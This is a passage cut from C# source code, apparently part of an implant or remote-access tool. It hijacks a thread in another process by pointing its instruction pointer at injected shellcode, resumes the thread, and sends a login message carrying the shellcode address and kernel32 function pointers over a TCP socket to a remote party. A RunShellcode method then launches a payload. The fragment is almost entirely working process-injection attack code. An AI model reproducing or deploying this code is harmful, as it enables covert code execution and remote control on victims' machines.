(uint)shellcode.RemoteAddress; threadContext.Eip = (uint)shellcode.EntryPoint; success = SetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error()); return; } } uint suspendc = ResumeThread(threadHandle); if (suspendc == 0xffffffff) { Console.WriteLine("ResumeThread() failed - " + Marshal.GetLastWin32Error()); return; } CloseHandle(threadHandle); CloseHandle(processHandle); EV0REMOTE_LOGIN loginmsg = new EV0REMOTE_LOGIN(shellcode.RemoteAddress, k32Handle.ToInt64(), getProcAddress.ToInt64(), shellcodeType); int msgsize = Marshal.SizeOf(loginmsg); IntPtr msg = Marshal.AllocHGlobal(msgsize); Marshal.StructureToPtr(loginmsg, msg, false); send(tcpSocket, msg, msgsize, 0); }
public static void RunShellcode() { Shellcode.Run(bin, true); }